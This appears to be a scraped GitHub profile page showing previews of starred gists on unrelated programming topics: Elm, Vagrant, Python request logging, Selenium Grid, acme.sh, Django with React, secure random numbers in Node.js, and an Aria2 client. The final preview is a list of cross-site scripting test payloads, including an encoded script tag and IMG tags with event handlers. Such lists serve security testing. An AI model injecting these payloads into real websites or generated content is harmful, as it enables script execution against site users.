Skip to content

Instantly share code, notes, and snippets.

View MHM5000's full-sized avatar
๐Ÿ 
Working from home

Mohammad Hossein Mojtahedi MHM5000

๐Ÿ 
Working from home
View GitHub Profile
@ohanhi
ohanhi / frp.md
Last active May 7, 2026 01:30
Learning FP the hard way: Experiences on the Elm language

Learning FP the hard way: Experiences on the Elm language

by Ossi Hanhinen, @ohanhi

with the support of Futurice ๐Ÿ’š.

Licensed under CC BY 4.0.

Editorial note

@arielpontes
arielpontes / two-vagrants.md
Last active May 14, 2024 18:03
How to use two versions of Vagrant on a Mac

How to use two versions of Vagrant on a Mac

Vagrant doesn't make it easy to manage multiple versions of it. I was lucky enough to ended up working on a project whose vagrant up only works with the legacy Vagrant 1.4 and another one that only works with newer versions. I'll explain here how I managed to keep both. In this case I'll install Vagrant 1.4.3 and 1.7.4 (the newest as of now), but in principle it should work with other versions as well.

Vagrant 1.4.3 doesn't work with newer versions of VirtualBox (>4.3). During this experiment I messed up all my installations several times, so I'm installing everything from scratch (just go to the download page, download the dmg and run the pkg installer normally).

2. Hack the Vagrant 1.4.3 installation

@Daenyth
Daenyth / debug_requests.py
Created August 27, 2015 14:35
Enable debug logging for python requests
import requests
import logging
import httplib
# Debug logging
httplib.HTTPConnection.debuglevel = 1
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
req_log = logging.getLogger('requests.packages.urllib3')
req_log.setLevel(logging.DEBUG)
@dzitkowskik
dzitkowskik / SeleniumGridTutorial.md
Last active May 8, 2024 06:51
A simple tutorial of using selenium grid in python unittests

Prepare files & libraries

  1. Download selenium standalone server from: http://goo.gl/rQhaxb, Create local folder at ~/selenium and copy or move jar to that path:
$ mkdir ~/selenium
$ cd ~/selenium
$ wget http://goo.gl/rQhaxb
$ mv selenium-server-standalone-2.49.1.jar ~/selenium/
@lachesis
lachesis / letsencrypt_notes.sh
Last active February 3, 2025 10:38
Set up LetsEncrypt using acme.sh without root
# How to use "acme.sh" to set up Lets Encrypt without root permissions
# See https://github.com/Neilpang/acme.sh for more
# This assumes that your website has a webroot at "/var/www/<domain>"
# I'll use the domain "EXAMPLE.com" as an example
# When this is done, there will be an "acme" user that handles issuing,
# updating, and installing certificates. This account will have the following
# (fairly minimal) permissions:
# - Host files at http://EXAMPLE.com/.well-known/acme-challenge
@genomics-geek
genomics-geek / README.md
Last active January 10, 2024 15:27
Setting up a Dockerized web application with Django REST APIs, ReactJS with Redux pattern, and Webpack Hot Reloading! Mouthful.

Guide on how to create and set up a Dockerized web app using Django REST APIs and ReactJS

Hopefully this will answer "How do I setup or start a Django project using REST Framework and ReactJS?"

This is a guide to show you step by step how this can be setup. If you just want to get started, use the cookiecuter I set up cookiecutter-django-reactjs. It basically is a fork of pydanny's cookiecutter, just added the front-end stuff :).

I created this because it was SUCH a pain in the ass setting up a project using all the latest technologies. After some research, I figured it out and have it working. The repo that implements this is located here. Feel free to use it as a boilerplate ;)

Main features:

  • Django REST APIs
@joepie91
joepie91 / random.md
Last active May 20, 2026 08:12
Secure random values (in Node.js)

Not all random values are created equal - for security-related code, you need a specific kind of random value.

A summary of this article, if you don't want to read the entire thing:

  • Don't use Math.random(). There are extremely few cases where Math.random() is the right answer. Don't use it, unless you've read this entire article, and determined that it's necessary for your case.
  • Don't use crypto.getRandomBytes directly. While it's a CSPRNG, it's easy to bias the result when 'transforming' it, such that the output becomes more predictable.
  • If you want to generate random tokens or API keys: Use uuid, specifically the uuid.v4() method. Avoid node-uuid - it's not the same package, and doesn't produce reliably secure random values.
  • If you want to generate random numbers in a range: Use random-number-csprng.

You should seriously consider reading the entire article, though - it's

@MHM5000
MHM5000 / allah-names
Last active July 20, 2017 14:20
Allah names ready to be used in JavaScript or any other language
ุงู„ุฑูŽู‘ุญู’ู…ูŽู†ู
ุงู„ุฑูŽู‘ุญููŠู…ู
ุงู„ู’ู…ูŽู„ููƒู
ุงู„ู’ู‚ูุฏูู‘ูˆุณู
ุงู„ุณูŽู‘ู„ุงูŽู…ู
ุงู„ู’ู…ูุคู’ู…ูู†ู
ุงู„ู’ู…ูู‡ูŽูŠู’ู…ูู†ู
ุงู„ู’ุนูŽุฒููŠุฒู
ุงู„ู’ุฌูŽุจูŽู‘ุงุฑู
ุงู„ู’ู…ูุชูŽูƒูŽุจูู‘ุฑู
@lpimem
lpimem / aria2c.py
Last active December 25, 2023 21:12
Aria2 Python Client
import json
import requests
class Aria2c:
'''
Example :
client = Aria2c('localhost', '6800')
# print server version
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">